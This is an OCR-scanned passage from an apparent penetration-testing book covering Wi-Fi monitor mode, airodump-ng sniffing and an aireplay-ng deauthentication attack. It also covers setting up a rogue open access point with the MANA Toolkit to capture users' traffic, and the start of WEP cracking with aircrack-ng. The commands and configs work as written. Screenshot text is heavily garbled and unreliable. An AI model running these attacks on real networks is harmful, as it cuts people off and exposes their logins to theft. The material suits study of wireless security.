wlanf athok_htc Atherns Communications, Tnc. AR927 . 11n

vif enabled for [phy®]lwlan® on [phy®]wlan@mon)
vif disabled for [phy@]wlane)

All interfaces might not have the same name, so it will probably be called wlanOmon or
something else; it doesn't matter, just make sure to use the name that monitor mode is
enabled on, in the future. If we use iwconfig wlanOmon, we will see (as shown in the
following screenshot) that the mode is now monitor mode instead of managed mode:

:~# iwconfig wlan®mon
wlan@mon 802.11 :Monitor Fr

Retry s e Laplies 7 RTS thr:
Power ent:off

This means that we can use this card to capture any packet within our range, even if the
packet is not directed to our device, and even if it doesn't have the MAC address of our
device as the destination MAC.
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A few things to note:

e First of all, when we enable monitor mode, the card will lose its connection. So, if
it was connected to a wireless network, it will get disconnected. This is normal,
because the card will not be in managed mode, and it will be capturing all of the
packets that are available to it, instead of only capturing the packets that are
directed to it. This doesn't really matter, because when we enable monitor mode,
we actually want to hack into a different network or capture packets from
networks that we don't have passwords for. So, it's completely normal to lose our
internet connection.

e The next thing is to make sure to use the name that monitor mode is enabled on.
As mentioned previously, this was wlanOmon; it will change from system to
system, so make sure to use the name that the airmon-ng command uses.

e The third note is that if we enable monitor mode and run an attack in the future,

and get unexpected results, we can come back and try one of the other methods
for enabling monitor mode.

If we want to stop monitor mode, we can use the airmon-ng stop wlanOmon command.
Now, monitor mode is disabled, as seen in the following screenshot, and we can use wlan0
in managed mode to connect to networks and use it normally:

:~# airmon-ng stop wlanemon

Interface nriver Chipset

Inc. ARY2Z/1 HBZ?.11n

Enabling monitor mode manually

With the latest update of aircrack-ng, airmon-ng stopped working for some wireless
cards. It will actually say that it enabled monitor mode on wlanOmon; so, instead of just
using mon0, it's going to start calling wireless cards wlanOmon. When we try to use this
card, it might not work in monitor mode, even though the card supports monitor mode. For
now, with Kali 2.1, it is recommend using a different method for enabling monitor mode.
This method is actually the manual method for enabling monitor mode.
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Our wireless card is wlano, so let's just take a look at it. We use the iwconfig wlan0
command; the wireless card can be seen in the following screenshot, following command
execution:

ff/any
Point: Not-

RTS thr:o

Power

As we can see in the preceding screenshot, wlan0 is now in managed mode. So, what we
are going to do is enable it by using the manual method. We're going to disable the card
using the ifconfig wlan0 down command, the same way that we did in the previous
method, and the card will be disabled.

Now, the next command will be to enable monitor mode on the card: it's iwconfig wlano,
the name of the card, and then mode monitor.It's very simple: iwconfig wlan0 mode
monitor. Then, we press Enter, and it's done.

Now, if there are no error messages, it means that the commands are running successfully.
We can then enable the card again, so we will execute ifconfig wlan0O up, which will
bring up the card. If we use iwconfig wlan0, the card will be in monitor mode:

wlano 2. e:Monitor Frequenc
RTS thr:off

So, in this part, we have actually used the old method of enabling monitor mode, if we have
used airmon-ng, and then we will be using wlanOmon as the card in monitor mode, but if
we use the old method, then wlan0 is the one that's going to be in monitor mode. We are
going to use wlanO instead of wlanOmon, because monitor mode is now enabled on wlan0.

This card now works perfectly, and monitor mode is enabled on it. We can choose any
method we want, but this method will work on all cards, whereas the aircrack
and airmon-ng methods will only work on some cards.
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Enabling monitor mode using airmon-ng

So, we have seen two methods to enable monitor mode, and now we're going to learn the
third method. All of these methods achieve the same objective, which is enabling monitor
mode on your wireless card. Which method works for you will depend on your operating
system, your host system, and the compatibility of the wireless cards in the systems. In
many cases, all of the methods will enable monitor mode on your card, but not all of the
attacks will work. Sometimes, injection will not work, or creating a fake access point will
fail—we will learn all of these in future chapters, so don't worry about them yet.

Basically, the idea to take from here is that if we know our card supports injection (if it's an
alpha card such as 036H or 036NHA, or one of the known cards that support injection), but
the injection isn't working well, then we can just unplug the card, plug it back in, and try
another method of enabling monitor mode. So far, you have two methods, and we will now
learn the third method.

If any of the preceding methods work for you, then stick with it; if they don't, then try this
method. We have the wireless card connected, and it's called wlan0. So we're going to
disable the card as usual, using i fconfig wlan0 down, and run a command to kill any
service that might interfere with enabling monitor mode. The command is airmon-ng
check kill;asyou can see in the following screenshot, it killed three processes that
airmon thinks might interfere with enabling monitor mode:

:~# ifconfig wlan® down
:~# airmon-ng check kill

Killing these proces

PID Name
568 dhclient
946 wpa supplicant

What we are going to do now is enable monitor mode in the same way that we did in the
first method, using the airmon-ng start wlan0 command. Now, as monitor mode has
been started on wlanOmon, which is a virtual wireless interface, we can use

the iwconfig command to check; then, it will be in monitor mode:
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:~# ifconfig wlan® up
:~# airmon-ng start wlan@
PHY Interface Driver Chipset
phyl wlan@ ath9k htc Atheros Communications, Inc. AR9271 802.11n
(mac80211 monitor mode f enabled for [phyl]wlan® on [phyl]wlan®&mon)

(mac88211 station mode f disabled for [phyl]wlan®)

lo

wlan@mon Mode:Monitor Freguency 4 7 x-Power=20 dBm
Limit:7 RTS thr:off
agement:off

no wirele extensions.

Now, as we have seen, all of the methods enable monitor mode, and, in the future, we're
going to use monitor mode in different attacks. If an attack doesn't work, all we have to do
is unplug the card, plug it back in, and try another method for enabling monitor mode.
Hopefully, one of them will work, and we can carry on with the attacks.

Summary

In this chapter, we learned what a network is and how it works, and also studied basic
network terminology and how to connect the wireless adapter to the virtual Kali machine.
Mostly, we will only need this adapter for network penetration testing, to crack passwords.
We also saw the important concept of MAC addresses, which are unique for every
machine. Also, we saw how we can alter our MAC address so that we cannot be traced
when hacking. Finally, we learned how we can enable monitor mode by using three
different techniques.

In the next chapter, we will learn how to perform network penetration testing.
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In this chapter, we will focus on the first part of network penetration testing—that is, pre-
connection attacks. In order to perform these attacks, we will look at the fundamentals; we
will study the concept of sniffing. Once we have a good idea of what sniffing is, we will
look at targeted packet sniffing, and an important tool for sniffing—the Wireshark tool.
Then, we will launch our first attack: the deauthentication attack. Finally, we will create a
fake access point.

In this chapter, we will look at the following topics:

¢ Packet sniffing basics

Targeted packet sniffing
Deauthentication attacks

What is a fake access point?
Creating fake access points with the MANA Toolkit

Packet sniffing basics

In the last chapter, we set the Wi-Fi card into monitor mode, so that we can sniff packets
that are within our Wi-Fi range, even if they're not directly connected to our device, and
even if we are not connected to a network with a username and password. Now, we're
going to use a tool called airodump-ng, part of the Aircrack-ng suite. It's a packet sniffer,
and it allows us to capture all of the packets around us. We can run it against all of the
networks around us and collect any packets within our range. We can also run it against a
certain access point (AP) so that we only collect packets from a certain Wi-Fi network.



Pre-Connection Attacks Chapter 5

First, let's look at how to run the program. You'll need your Wi-Fi card in monitor mode; in
our case, the name of the Wi-Fi card is wlan0. So, we'll run the airodump-ng wlan0
command—it's as simple as that. The name of the Wi-Fi card that has monitor mode
enabled on it is wlan0. As you can see in the following screenshot, this will list all of the
networks around us:
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Another use of airodump-ng is to identify all of the devices connected to the networks
around us.
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We can press Ctrl + C to stop sniffing. We didn't save the packets that we sniffed, so there
was no point in analyzing them—we just ran airodump-ng against the APs around us to
see what networks there were and to gather information about them. From the preceding
screenshot, we can see that there are quite a few networks around.

In the preceding screenshot, there are a few parameters we have to familiarize ourselves
with, so that we can analyze the output:

e The BSSID is the MAC address for the AP; as we know, each network device has
a MAC address.

® PWR is the power—how far the AP is from our Wi-Fi card. Test is the test router
that we will be running a few attacks against. As you go down, you can see that
the networks are further and further away. The closer the network is, the easier it
will be for you to sniff the packets. The closer the network is, the more effective
the attack will be, and the quicker you will gain access and achieve your goal.

e Beacons are the signals that the AP sends; each AP sends a certain type of
packets, to tell the clients around that it exists. So, even if the network is hidden,
it will still send these beacons, to tell everyone around that it is there. Our BSSID
iSEC:1A:59:5A:E1:46, and we are running on -34 information. So, 50 is the
number of Beacons that each AP is sending.

e The Data is the number of useful packets that we have sniffed; we'll talk about
this in detail later on, when we study WEP decryption and encryption.

e s is the number of data packets that we have collected in the past 10 seconds; as
we can see, we have a 0 here, so 0 data packets have been collected in the past 10
seconds.

e The Channel is the number of channels that the AP is broadcasting on. Each AP
broadcasts on a certain channel, used so that there will be no interference
between APs that are beside each other. Suppose that we have an AP, and five
meters away, there's another one; if both of them are running on the same
channel, there will be interference between those two APs, and the signal
between them will be shorter, so their range will be shorter.

e MB is the maximum speed supported by this AP; it can go up to 54.

e ENC is the encryption that's used in the AP; we have WEP, WPA, WPA2
encryptions. If it's an open network we will see OPN in the encryption.

e CIPHER is the cipher that's used to decrypt the packets. For WEP it's WEP but for
WPA?2, it can be ccMP or TKIP; we'll talk about these later when we get into WPA
cracking.
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e AUTH is the type of authentication that's required for this AP. We can see pre-
shared key (PSK), and also MGT. We'll also talk about these later when we get
into WPA cracking.

Targeted packet sniffing

You have now seen the basics of sniffing. Once we have a network (or a group of networks)
to target, it's useful to run airodump-ng on that network only, instead of running it on all
of the networks around us. In this section, we'll see how to do that.

We are currently running airodump-ng on all of the networks around us; we are going to
target the network with the BSSID, EC: 1A:59:5A:E1:46. That's our test network, the
Test. We are going to sniff on that network only.

To do this, we're going to use the same program. The command will be as follows:

airodump—-ng —--channel 10 —--bssid EC:1A:59:5A:E1:46 —--write test-upc wlanO

We need to specify the channel. The --channel here is number 10, as you can see in the
preceding code snippet; the ——bssid should be the MAC address of the target network. We
are going to add a ——write option; this tells airodump-ng to log all of the packets that it
captures into a file. We also need a filename, so let's call it test ~upc. We then put the name
of our Wi-Fi card (in monitor mode), and it's wlanO.

Then, we press Enter, and, as you can see, the only network that shows up is Test; we don't
have any other networks listed. In the previous screenshot (in the Targeted packet sniffing
section), we had too many networks, so not all of the information was visible.

In the following screenshot, as we can see, all the parameters that we saw in the previous
part of this chapter contains all the APs that are within our Wi-Fi range, this section here:

CH 10 ][ Elapsed: 24 s ][ 2018-07-05 07:24

BSSID PWR RX0Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
EC:1A:59:5A:E1:46 -76 100 134 62 4 10 130 WPA2 CCMP PSK Test
BSSID STATION PWR Rate Lost Frames Probe

EC:1A:59:5A:E1:46 6C:C4:D5:6F:A6:DC -69 0 - le
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Now, the preceding screenshot contains all of the clients that are associated with the APs;
when we see EC: 1A:59:5A:E1: 46, that's the MAC address of the network that the client is
connected to. The MAC address in the first section is the same as the MAC address in the
second section. That means that this client is connected to network EC: 1A:59:5A:E1:46.
The sTATION is the MAC address of the client—the MAC address of the device that is
connected to the network. The PWR is the distance between us and the device, and the Rate
is the maximum speed that the device is running on. Lost is the number of packets that we
have lost (that we couldn't capture from the target device), and Frames is the number of
useful packets that we collected from that device. We will talk more about frames and data
when we study WEP cracking in chapter 6, Network Penetration Testing — Gaining Access.

The first main part of airodump-ng is the APs that are within our Wi-Fi range, and the
second part is the clients that are associated with those APs. We also have the MAC address
of the AP and the MAC address of the actual client. Now, we are going to use Ctrl + C to
stop sniffing. All of the data has been logged into a file called test-upc, and we will use
1s, which is a command to list files in Linux; if we add * after it, we will see

that ai rodump-ng automatically created four file formats:

# ls Ipc*

upc-0l1 t-upc-01
upc-0l.csv -upc-01

In our command, we only specified the filename as test-upc; airodump-ng automatically
added a 01 to the filename, just in case there was another file that had the same name. We
can see four different file formats—CAP, CSV, KISMET, and KIDMET XML.

If we execute pwd, we will see that we're in the root directory. After we sniff the packets,
we can use a program, such as Wireshark, to analyze the packets and see what information
was gathered. The problem with this specific network is that it uses WPA2 encryption, so
all of the packets are encrypted, and we can't decrypt them unless we have a key. We're
going to discuss how to crack the key in later chapters of this book.

We're going to discuss how to use Wireshark in chapter 7, Post Connection Attacks, of this
book, so for now, we are just going to run Wireshark to give you a quick look at how the
packets show up. They're not going to be useful, because they're encrypted.
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We'll open the Wireshark tool by implementing the wireshark command, then go to the

option File | Open, as shown in the following screenshot:

The Wireshark Network Analyzer e ® &
Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help
0 Ctrl+O == =
[ e o] lowsEEeaaf
Open Recent ’

3 ~| Expression..  +

Look for the test-upc. cap file in the /root directory:

Wireshark - Open Capture File (%]
Look in: B /rool v « » 4 @ un |=
B Computer  Name ~ Size Type Date M*
[ root = bdfproxy_msf_resource.rc 894..tes rc File 6/27/1
8 New Graph (1).mtgl 16.00 KiB mtgl File &/28/1
= proxy.log 4891 KiB log File  6/27/1
fin test-upc-0l.cap 3.60 MiB cap File  7/5/18
test-upc-Ol.csv 482..tes csvFile 7/5/18
test-upc-01.kismet.csv 595..tes csvFile 7/5/18
¢ desl-une-01 kismel nelyml 7 9R KiR nelx File 7/5f1R~
4 »
File name: test-upc-Ol.cap [ S Opeap |
@® Cancel
Files of type: | All Files - ©Help
Automatically detect file type -
Read fliter:  Apply a read filter ...

After opening the capture file, we can see some information—for example, that the source

device is a Belkin device in the following screenshot:
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test-upc-Ol.cap (- - ]
File Edit View Go Capl.ur! Analyze Statistics Telephony Wireless Tools Help

AN @ DRE Qe»owsT]Eaaal

| W] Apply a display filter ... <Ctri-/> 3 - Expression..  +

MNa. Time Source
1 6.000800

2 8.866851 BelkinIn_5a 463 Probe Response,
3 0.087T043 BelkinIn_Sa 802.11 483 Probe Response,
4 0.007283 Belkinln 5a 862.11 463 Probe Response, . S51D=Test

B 8.188499 BelkinIn_Sa 882.11 482 Probe Response, . S8ID=Test

6 9.116749 Belkinln_Sa #92.11 463 Probe Response, SN=i » S5ID=Test

7 0.1264566 862.11 463 Probe Response, . SS5ID=Test

8 6.13676T 862.11 463 Probe Response, » SBID=Test

9 9.14285%0 H 802.11 463 Probe Response, SN=27%, . S51D=Test

10 6.147972 BelkinIn_Sa: l‘1 45 882.11 463 Probe Rosponse, S . SS8ID=Test

11 9.147981 802.11 10 Acknowledgement,

12 0.153091 BelkinIn Saiel:ds a2.11 463 Probe Response, . S5ID=Test

13 6.154128 882.11 18 Acknowledgement,

14 9.16595% Belkinln Sa:el:d6 Gnagle #ricH: DS #92.11 443 Probe Response, v F510=Test

15 0.167583 BelkinIn_Sa:el:46 (ec:. 862.11 16 Acknowledgement,

15 8.172613 BelkinIn_Sa:el:d48 C 882.11 483 Probe Response, . SSID=Test

17 9.178243 Belkinin Sa:el:46 802.11 463 Probe Response, Sl . S51D=Test

18 6.17a789 BelkinIn_! ! 5 I 48 (ec 882.11 16 Acknowledgement, b
[ 0
» Frame 1: 329 bytes on wire (Z63Z bits), 329 bytes captured (2632 bits)

» IEEE 862.11 Beacon frame, Flags: ........
» IEEE 802.11 wireless LAN

B0 98 98 88 TT 7T T FT 7T TT eC 1a 59 5a el 46
oc 1a 53 Sa ol 46 b8 18 7c ol a8 cB 60 00 00 06
B 90 11 &4 80 84 54 65 73 74 @1 @8 B2 B4 8b 96

o

0030 Oc 12 18 24 03 01 0a 05 04 01 FE 00 00 07 06 55
% 53 20 61 6b le 2a 61 B4 32 64 30 48 60 Bc 2d 1a
2¢ 18 1e TT 7T 69 00 99 00 99 00 09 00 00 W9 W9
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We can also see (in the preceding screenshot) that there is a device communicating with
Belkin; the MAC addresses; the devices; and the manufacturers. This is very simple
information, because the network is encrypted. If it were an open network, we could
connect straight away, and jump to further sections about penetration testing. For now, we
just wanted you to see how the packets look when the network is encrypted. In the future,
you will learn more about it.

Deauthentication attack

In this part of the book, all we will discuss are attacks that we can launch on any network in
our Wi-Fi range, even if the network has encryption or uses a key. We don't have to connect
to a network to launch these attacks.
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Deauthentication attacks are very useful; they allow us to disconnect any device from any
network that is within our Wi-Fi range. To perform the attacks, we spoof our MAC address
to get the target MAC address (the target being the client that we want to disconnect). We
pretend to be the client, and then we send a deauthentication packet to the router, telling
the router that we want to disconnect. At the same time, we spoof our MAC address to the
AP MAC address, and tell the target client that it needs to re-authenticate itself. Then, the
connection will be lost.

Let's see how to do it, using a tool called aireplay-ng:

1. First of all, we need to run airodump-ng on the target network, because we want
to see which clients are connected to it. This time, we will not need the ——write
option, so we are just going to remove it. All we need are airodump-ng, the —-
channel (we put the channel of the target network), and the --bssid (the MAC
address of the target network). The command will be as follows:

airodump—ng —-channel 10 —--bssid 00:10:18:90:2D:EE wlanO

We hit Enter, and we're sniffing on the target network, Test. This method will
work on any device, whether it's a Linux, Windows, Mac, or Android device—it
doesn't matter; they all use the same method of transferring packets:

CH 18 ][ Flapsed: 1 min ][ ?018-07-05 A8:04

BSSID PWR. RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
C:1A:59:5A:E1:16 -71 83 567 109 © 10 130 WPA2 CCMP PSK Test
15510 STATION PWR Rate Lost Frames Probe

:1A:59:5A:E1:46 GC:C4:D5:6F:AG:DC -62 e e 0 170

Now, we're going to run aireplay-ng, to disassociate one of the devices from
the network. We can run it to disassociate all devices, but I have found that when
we do that, it doesn't really disassociate all of them, because there are too many
targets to disassociate. So, we will choose one target, which will be the device
6C:C4:D5:6F:A6:DC.
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2. Using aireplay-ng, we will add --deauth (for a deauthentication attack), and
then put the number of deauthentication packets that we're going to send; we
will just put a very large number, to keep the device disconnected. Then, we will
put the target AP (the MAC address of our target AP), and the source (or the
client's MAC address), which is the device that we want to disconnect. We will
also include wlan0, our Wi-Fi card in monitor mode. If we hit Entfer, aireplay-
ng will now send the deauthentication packets. The command will look as
follows:

aireplay—-ng ——deauth 10000 —a EC:1A:59:5A:E1:46 -c
6C:C4:D5:6F:A6:DC wlanO

The output will be something like this:

:~# aireplay-

1ti I

Go to the target device and see if it still has an internet connection. We'll be able to
see that it has lost connection, and it's trying to reconnect; it won't be able to,
because we are still sending our deauthentication packets. We can launch this
attack on any network that we choose; we don't need to know the password or
key.

What is a fake access point?

Basically, a fake AP is an AP that looks normal to users and doesn't have encryption on it,
so people can connect without having to enter a key. It's an open network, and it should
have an internet connection to attract people to it. Why would we create a fake AP? Well, if
we create one, we will attract a large number of people to connect to the network and
access the internet. They will log in to their accounts, and we can use packet sniffing to
capture anything that they log.

Creating an AP is simple; it just needs to be set up correctly, so that the AP can function.
The first things we will need are two cards:

e A card needs to be connected to the internet. It doesn't matter what card it
is—3G, wired, wireless—all we need is a card that is connected to the internet.
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e The second card has to be a Wi-Fi card. This Wi-Fi card will be used as the AP, to

broadcast the AP's signal.

In the following diagram, Hacker is our hacker device; we will need the two preceding
cards connected to our device. The second card is going to broadcast, telling all of the

devices around it that it is an AP for the internet:

= |

Client 1

Wi-Fi card acting/
broadcasting as a AP

How are we going to do this, and how is it going to work? Suppose that Client 1 wants to
access Google; it's going to ask for our Wi-Fi card because our Wi-Fi card is pretending to
be the AP. Now, the Wi-Fi card doesn't have an internet connection, so we're going to have
to set it up in a way such that once it gets a request, it talks to the second card, which is
connected to the internet. Now, the second card will break the request, forward it back
through our device to the Wi-Fi card, and send it back to Client 1:

Wi-Fi card acting/
broadcasting as a AP

Client 2
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The preceding is the theory of how the fake AP is going to work. In the next part, we're
going to implement it, so as to see the commands that need to be used.

Creating fake access points with the MANA
Toolkit

In this section, we'll discuss a tool called the MANA Toolkit. The MANA Toolkit allows us
to create fake APs. It is very easy to use, and it automatically creates fake APs for us, so that
we don't have to manually type commands. The tool also has a few scripts, allowing us to
run a number of tools to sniff traffic in the fake AP, bypass HTTPS, and even attempt to
bypass HSTS.

The tool comes with three main scripts:

1. start-noupstream. sh: Basically, this script will create a fake AP. This AP will
not have an internet connection, so, when someone connects to this fake AP, they
will not be able to connect to the internet.

2. start-nat-simple.sh: This creates a fake AP with an internet connection. So,
when someone connects to this AP, they will be able to access the internet, and
all of the packets will be flowing through our device (because we are the router),
so we'll be able to analyze, capture, and read the packets.

3. start-nat-full.sh: This script will create an AP with an internet connection,
and it will also automatically start sniffing and recording the packets that are
flowing through the fake AP; it will attempt to bypass HTTPS and HSTS.

We are not going to use the start-nat-full. sh script, because it actually fails a lot of the
time. We're only going to use the start-nat-simple. sh script, for creating an AP with an
internet connection. In the future, we'll see how to capture and analyze the packets.

Before getting into more detail, let's take a look at the settings for the Kali machine. Go
to Settings | Network, and make sure that you're using a NAT network. This is exactly
what we saw in chapter 3, Linux Basics.

Run the following command to install the MANA Toolkit:

apt—-get install mana-toolkit
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If it is already installed, it will tell us that it is, along with its version. If we use i fconfig,
we'll see that we have an interface called etho; this interface is actually used by VirtualBox
in the NAT network, so it's a virtual interface that is connected to that network:

E lfc:lnfl']
, BROADCAST , RUNNING,MULTIC = mtu 1500
padcas
v 64
2len 1000 (Ethernet)
yte 63653 (156 MiB)
dropped @ overr i fame @
51 bytes 17
dropped @ o runs @ carrier @ collisions

mtu 65536

2 scopeid @xl@<host=
1000 ( al Loopback)
bytes 4 {151 i VlBr
[0] drnpprd 0] =
i b"t 5

collisions

It's supplying an internet connection to the machine. At the moment, we don't have a
wireless card connected to it. If we use iwconfig, we will see that the internet connection
comes from eth0:

wlano
N:'l‘t Associat Tx-Power=off
:off Fragment thr:off

Power Mana

no wire

no wirel extensions
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If we try to ping using the ping www.google.com -c 5 command, we will get responses
back from Google, which means that the machine has an internet connection:

icmp
icmp
icmp

from bom@7s11-in-f4. : [ : : icmp
s from bom@7sll-in-f4. P0.net (216. 203.164): icmp

time 4005ms
ms

We will now connect the wireless card to the Kali machine; go to Devices | USB, and pick
our card. The card should now show up when we run iwconfig:

wlan® 7. ESSID:off/any
Acc Point: Not-Associated Tx-Power=off
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption off

Power Management:off

no wire 23 sions.

no wire ensions.

So, the wlan0 card is only used to broadcast the signal; it's not used to provide the internet
connection. This card is in the managed mode, and it's not connected to any network.

Now, we're going to set up MANA's configuration and start the fake AP:

1. First, we need to modify the hostapd-mana.conf file, which is located
at /etc/mana-toolkit, using Leafpad editor. We are using Leafpad because
this is the editor that we want to modify the file with. We will type the location
where the file is located:

leafpad /etc/mana-toolkit/hostapd-mana.conf
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2. Here, we can modify the settings of the fake AP that we're using. The most
important thing is the interface that we're going to use to broadcast the signal; for
us, it was called wlan0. Remember that when we run iwconfig, wlano is our
wireless card that's going to broadcast the signal, and it's not connected to
anything. Now, we can modify the MAC address (or the name of the network);
the name of the network, in our case, is going to be Internet, and the channel
is going to be set to 6. We will not be modifying anything else; this was just to
illustrate how to check the name:

hestapd-mana.conf e e 0
File Edit Search Options Help
#A full description of options is available in https://github.com/sensepost/hostapd-mana/blob/master/hastapd/hostapd.conf

interface=wland
bssid=08:11:22:33:44:00
driver=nl88211
ssid=Internet

channel=6

# Prevent dissasociations
disassoc_low_ack=8
ap_max_inactivity=30080

# Both open and shared auth
auth algs=3

# no S5ID cloaking
#ignore_broadcast_ssid=@

# -1 = log all messages
logger syslog=-1
logger stdout=-1

# 2 = informational messages
Logger_syslog_levels=2
lagger_stdout_levels=2

ctrl interface=/var/run/hostapd
ctrl interface group=0

# Finally, enable mana
enable manas=1

3. The other file that we want to modify is the start-nat-simple.sh script; this is
the file that will launch the AP. Again, we're going to use Leafpad, and the
command is as follows:

leafpad /usr/share/mana-toolkit/run-mana/start-nat-simple.sh

4. The first thing to do is make sure that you correctly set phy parameter; this will
be your wireless card. We already know that the wireless card was called wlano0.
Next, the upst ream parameter is very important; we should specify the card that
has an internet connection. In our case, it was called et h0, the virtual card made
by VirtualBox. Again, if everything is set up correctly, we will not modify
anything. Save the file:
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#!/bin/bash

upstream=eth0

phy=wlan0|
conf=/etc/mana-toolkit/hostapd-mana.conf
hostapd=/usr/lib/mana-toolkit/hostapd

5. Our last step will be to run MANA, and it will be running the start-nat-
simple.sh script.Instead of using leafpad, this time, we're going to
use bash, in order to execute the file. Our command will be as follows:

bash /usr/share/mana-toolkit/run-mana/start-nat-simple.sh

Sometimes, we will get an error that says it cannot configure the file; in this case,
just run the command again, and it should work the second time, as shown in the
following screenshot:

na-toolkit/run-mana/start-nat-simple.sh
ana-too
g with hwaddr ¢
state UNINITIALIZED-=ENABLED
AP-ENABLED
Hit enter to kill me
cc:61:e5:ef:37:08

e5:ef
NMECTED
-ected probe re t for foreig D 'TPLINK ©1' from 6 -
L - rected probe request for for D 'TP LINK @01' from 60:
- Attempting to gen : roadcast r se : TPLINK 81 (9) for
- Attempting to gen ed Broadc: response : TP LINK 001 (1
cted probe req t for for SSID from 6
. rected probe re t for foreig ) 'TP LINK 661' from
- Attempting to gen ed Broa 7 se : TPLINK @1 (9
e ing g s se : TP LINK ¢
# ected probe reqg t for foreig ) 'TPLINK ©1' from 6@
- Directed probe re t for foreig SID 'TP LINK ©01' from
5 : TPLINK 81 (9) for ST
: TP LINK 001 (11) for

After this AP is running, we will go to our Windows machine and try to connect
from it. We will be using another wireless card for the Windows machine,
because the Windows machine will be a virtual machine as well. We can try to
connect from our phone or from another laptop; do not connect from the host
machine, because it will not have an internet connection (it is hosting the internet
connection for everything). Either test the connection from your phone, from a
separate laptop, or from a virtual Windows machine, but make sure to use a
different wireless card.
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6. Going back to our Windows device, we are going to search for networks to
connect to. As we can see in the following screenshot, we have an extra network,
called Internet, and it has no password:

Available Metworks

o X
o =
[ ¥ s QLT o
v s B L 7o
Guest » s it 7e%
|internet ¥ & 100%,
Test ¥ 10 73%
Test-1506 Y & g i s
Virus ® 7 DO L s

AP Information
551D Internet Authentication  Open [(49)]
MAC Address  00-11-22-33-44-00 Encryplion MCONE

7. We're going to try to connect to this network. Once we have successfully
connected, we will see that we have an internet connection through the fake AP,
and all packets are now flowing through this device:

* Channel

The device is the AP, so it's like the router. We can actually use Wireshark (or any other
tool), t cpdump, or TShark, to capture and analyze the packets.
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Summary

In this chapter, you took a step toward learning about network penetration testing. We
started with the fundamentals of sniffing, and we used airodump-ng to see all of the
networks that were within our Wi-Fi range. We collected information about the networks,
including the BSS1D, the channel, the distance between us and the AP, and the encryption
used. We then discussed targeted packet sniffing, giving an overview of the Wireshark tool.
Then, we illustrated how to launch a deauthentication attack. Toward the end of the
chapter, we studied fake APs, showing how to create one using the MANA Toolkit.

In the next chapter we will be attacking the target by connecting to the network this will
allow us to launch more powerful attacks.
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So far in this book, we haven't needed to connect to a network for anything. In this chapter,
as we take a step toward learning network penetration testing, we will connect to a
network. This will allow us to launch more powerful attacks and get more accurate
information. If a network doesn't use encryption (in other words, if it's an open wireless
network), we can connect to it and sniff out unencrypted data. If a network is wired, we can
still try to connect to it, perhaps through changing our MAC address. The main issue we
might encounter is a network using encryption (such as WEP, WPA, or WPA2). If we do
encounter encrypted data, we need to know the key to decrypt it, that's the main purpose of
this chapter.

If your target network uses some sort of encryption, you can't really get anywhere unless
you decrypt it. In this chapter, we will discuss how to decrypt WEP, WPA, and WPA2
encryptions.

This chapter will cover the following topics:

e WEP theory

¢ Basic web cracking

¢ Fake authentication attack
o ARP request replay

e WPA introduction

e WPA cracking

e Handshake theory

e Capturing handshakes

¢ Creating wordlists

e Wordlist cracking

e Securing network from attacks
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WEP theory

The first encryption that we will discuss is Wired Equivalent Privacy (WEP) encryption,
because it's the oldest one, and also the easiest one to break. WEP encryption uses an
algorithm called RC4; each packet is encrypted at the Access Point (AP), and then sent out
into the air. Once the client receives it, the client will be able to decrypt the packet and read
the information inside of it, since the client has the key. In short, the AP encrypts the packet
and sends it, and the client receives and decrypts it. In the same way, when the client itself
sends the packet, the client encrypts it and then sends it out, and the AP receives and
decrypts it with a key.

Each packet that is sent out has a unique key stream. WEP ensures that the key stream is
unique by using a 24-bit Initialization Vector (IV). The IV is a random number that is sent
into each packet in plain text, which is not encrypted. If we read the packet, we will be able
to read a part of it in plain text.

The problem with the IV is that it's very short (24-bits, which is not that long). In a busy
network, there will be a very large number of packets sent, the possibilities of random IVs
will be exhausted, and we will end up with two packets that have the same IV. If this
happens, we can employ aircrack-ng, which uses statistical attacks to determine key
streams; it will be able to determine the WEP key.

From the preceding information, we know that the more IVs we collect, the more likely
we'll be to successfully crack the WEP key. Our main goal, when we try to crack WEP, is to
collect as many IVs as we can—because when we have a large number of IVs, we will end
up with two packets that use the same IV, and aircrack-ng will be likely to determine the
key stream and the WEP key for the target network. In the next part of this chapter, we will
see how this actually works, and it should be easier to understand.

Basic web cracking

Through the previous section, we know that to crack a WEP key, all we have to do is sniff
packets from the target network and gather as many IVs as possible. Once we have done
that, aircrack-ng will be able to use statistical attacks to determine the key stream and
the WEP key for the target network. Obviously, when we have more than two packets, the
method is going to work better, and our chances of breaking the key will be higher—we're
going to try to gather as many IVs as possible.
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Let's look at the most basic case of cracking a WEP key. Wi-Fi card must be in monitor
mode, and the first thing we're going to try to do is see all of the networks that are within
our Wi-Fi range; then, we're going to target one of those networks. We're going to

run airodump-ng wlan0, very basic command, where wlan0 stands for the interface.
Following will be displayed as a output:

1[ 2018-87-17 12:29

PWR  Beacons #Data, #/5 CH \ CIPHER AUTH ESSID

-68 16 32 D 1 4e WEP Test
8:EE:0C:CF:CA: -50 0] g p. g 2 CCMP 5K S5ail
8:C1l:7A:02:31: -69 7 24 2 g CCMP MGT <length: @=
2:37:BF:05:61:F0 -70 0] g p. g 2 CCMP PSK DIRECT-k5

Rate Lost Frames Probe

1 iBall-Baton

94:14:7A:9C:

The first network that has come up is Test; this is the network that we're going to perform
our attacks on. We're going to launch airodump against Test network by using the
following command:

airodump-ng —--bssid 54:B8:0A:9E:54:2D —--channel 11 --write basic-test-ap
wlanO

Here, we enter the ——bssid and launch an airodump against Test AP. We include the —-
channel, number 11, and we add —-write to store all of the packets that we capture into a
file, which is basic-test-ap. As we run the preceding command, we will be able to see
the output in the following screenshot, the target network that we have as the data we
gathered it is quite a busy one, also the data and the frames are going:

CH 11 ][ Elapsed: 1 min ][ 2 -07-17 12:34 ][ interface wlan® down
PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID

54:2D -53 0 637 48835 1460 11 54e WEP WEP L

STATION "WR Rate Lost Frames Probe

BS-7
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It is a busy network; the following is the section where we can see the clients:

STATION Rate Lost Frames Probe

5047

163
856

All we have to do now is launch aircrack-ng, which is part of the aircrack suite,
against the file that airodump has created for us. We can launch aircrack against it even
if we didn't stop airodump; it will keep reading the file, and it will read the new packets
that airodump is capturing. The command to use is as follows:

aircrack—-ng basic-test—ap-01l.cap

When we use aircrack-ng, we will put in the filename basic-test-ap-01.cap. While
the file is still being created, getting larger and larger with the inclusion of new packets, we
can run aircrack-ng, and it will keep getting updated, eventually giving us the password
we need for cracking. If aircrack fails to determine the key, aircrack waits until it
